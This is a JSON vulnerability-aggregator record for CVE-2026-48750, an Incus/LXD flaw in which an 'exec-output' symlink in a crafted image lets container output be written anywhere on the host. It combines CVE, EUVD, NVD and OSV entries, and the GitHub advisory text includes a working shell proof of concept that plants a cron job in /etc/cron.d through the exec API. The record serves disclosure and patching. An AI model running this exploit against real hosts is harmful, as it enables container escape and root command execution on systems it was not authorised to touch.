{"id":"GHSA-73hr-m85f-64v9","revision":null,"records":[{"revision":"878bb3244aed4ea78a534b11f06d97ac","observedAt":"2026-11-06T01:36:41.27+00:00","statement":{"source":"cve-program","id":"CVE-2026-48750","aliases":[],"title":"Incus has an arbitrary file write on host via `exec-output` symlink in crafted image","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.","state":0,"publishedAt":"2026-08-21T14:19:45.109+00:00","modifiedAt":"2026-11-05T23:50:24.438+00:00","affected":[{"ecosystem":"Vendor product","name":"incus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lxc\",\n                    \"product\": \"incus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.2.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"lxd","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"canonical\",\n                    \"product\": \"lxd\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.0.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0, < 5.0.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.1.0, < 5.21.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 6.0.0, < 6.9.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9","https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48750","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48750","identifiers":["CVE-2026-48750"]},"retained":false,"historicalAffected":[]},{"revision":"f179d55641484ac78bdcb4bd41f44b95","observedAt":"2026-11-15T14:51:01.488+00:00","statement":{"source":"euvd","id":"EUVD-2026-63977","aliases":["CVE-2026-48750","GHSA-73hr-m85f-64v9"],"title":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec…","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":null}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9","https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-63977","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 21, 2026, 2:19:45 PM","dateUpdated":"Nov 5, 2026, 11:50:24 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:11651-1","title":"incus-7.4-1.1 on GA media","vulnerabilityIds":["CVE-2026-39402","CVE-2026-47753","CVE-2026-48749","CVE-2026-48750","CVE-2026-48751","CVE-2026-48752","CVE-2026-48753","CVE-2026-48754","CVE-2026-48755","CVE-2026-48756","CVE-2026-48769","CVE-2026-55621","CVE-2026-55622","CVE-2026-62313","CVE-2026-62867","CVE-2026-62940","CVE-2026-62941","CVE-2026-63125","CVE-2026-63343","CVE-2026-81500","CVE-2026-81501"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-63977","identifiers":["EUVD-2026-63977","CVE-2026-48750","GHSA-73hr-m85f-64v9"]},"retained":false,"historicalAffected":[]},{"revision":"b1dda5c0524b4b1b8e8cf90148be8fd7","observedAt":"2026-11-06T15:03:32.566+00:00","statement":{"source":"nvd","id":"CVE-2026-48750","aliases":[],"title":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec…","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.","state":0,"publishedAt":"2026-08-21T15:16:40.39+00:00","modifiedAt":"2026-11-06T01:17:49.33+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76","https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48750","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-73"],"productCriteria":[],"sourceDates":{"published":"2026-08-21T15:16:40.390","lastModified":"2026-11-06T01:17:49.330"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48750","identifiers":["CVE-2026-48750"]},"retained":false,"historicalAffected":[]},{"revision":"5b31e0de02634b9bb49cb07e97b07b3c","observedAt":"2026-11-06T11:13:14.598+00:00","statement":{"source":"osv","id":"GHSA-73hr-m85f-64v9","aliases":["CVE-2026-48750","GO-2026-5801"],"title":"Incus has an arbitrary file write on host via `exec-output` symlink in crafted image","description":"### Summary\n\nThe `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.\n\n\n### Details\n\nWhen an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.\n\n\n### PoC\n\nBelow, we place the `exec_UUID.stdout` file in `/etc/cron.d` on\nthe host for arbitrary command execution.\n\n```\n#!/bin/sh\n# usage: $0 existing-imagefp\nset -eu\n\nbasefp=\"${1}\"\n\ndie() {\n        printf '%s' \"${@}\" >&2\n        exit 1\n}\n\ncommand -v curl >/dev/null 2>&1 || die 'error: curl not found\\n'\ncommand -v python3 >/dev/null 2>&1 || die 'error: python3 not found\\n'\n\ntmpdir=$(mktemp -d)\ncleanup() {\n        rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\n\n# insert exec-output symlink\n\nincus image export \"${basefp}\" \"${tmpdir}/img\"\n\nmkdir \"${tmpdir}/repack\"\ncd \"${tmpdir}/repack\"\n\nxz -cd \"${tmpdir}/img\" | tar -f- -vx\n\nrm -rf exec-output\nln -s /etc/cron.d exec-output\n\ntar -f- -c * | gzip -c9 >\"${tmpdir}/img\"\n\ncd - >/dev/null\nincus image import \"${tmpdir}\"/img* --alias afw-exec-output\n\n\n# Launch container, exec with record-output via REST API\nincus launch afw-exec-output afw-exec-output\nincus wait afw-exec-output ip\n\nOP=$(curl -s --unix-socket /var/lib/incus/unix.socket \\\n  -X POST -H 'Content-Type: application/json' \\\n  -d '{\"command\":[\"/bin/sh\",\"-c\",\"echo * * * * * root id'\"'>'\"'/afw-exec-output\"],\"record-output\":true}' \\\n  \"lxd/1.0/instances/afw-exec-output/exec\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['operation'])\")\n\ncurl -s --unix-socket /var/lib/incus/unix.socket \"$OP/wait?timeout=30\" >/dev/null\n\n#find /etc/cron.d/exec_* -exec cat {} \\;\n```\n\n### Impact\n\nConstrained file creation in an arbitrary directory on the host via\nvia an unsanitized symlink; possibly leading to command execution.","state":0,"publishedAt":"2026-06-26T18:32:52+00:00","modifiedAt":"2026-11-06T10:57:01.456779+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76","https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9","https://nvd.nist.gov/vuln/detail/CVE-2026-48750","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-73hr-m85f-64v9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-73hr-m85f-64v9","identifiers":["GHSA-73hr-m85f-64v9","CVE-2026-48750","GO-2026-5801"]},"retained":false,"historicalAffected":[]},{"revision":"9055ca620c1f44a7967c45bcb3799080","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5801","aliases":["CVE-2026-48750","GHSA-73hr-m85f-64v9"],"title":"Incus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus","description":"Incus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus","state":0,"publishedAt":"2026-07-07T16:41:46+00:00","modifiedAt":"2026-07-07T20:30:15.1216927+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5801","license":"OSV · upstream source license applies","key":"osv:GO-2026-5801","identifiers":["GO-2026-5801","CVE-2026-48750","GHSA-73hr-m85f-64v9"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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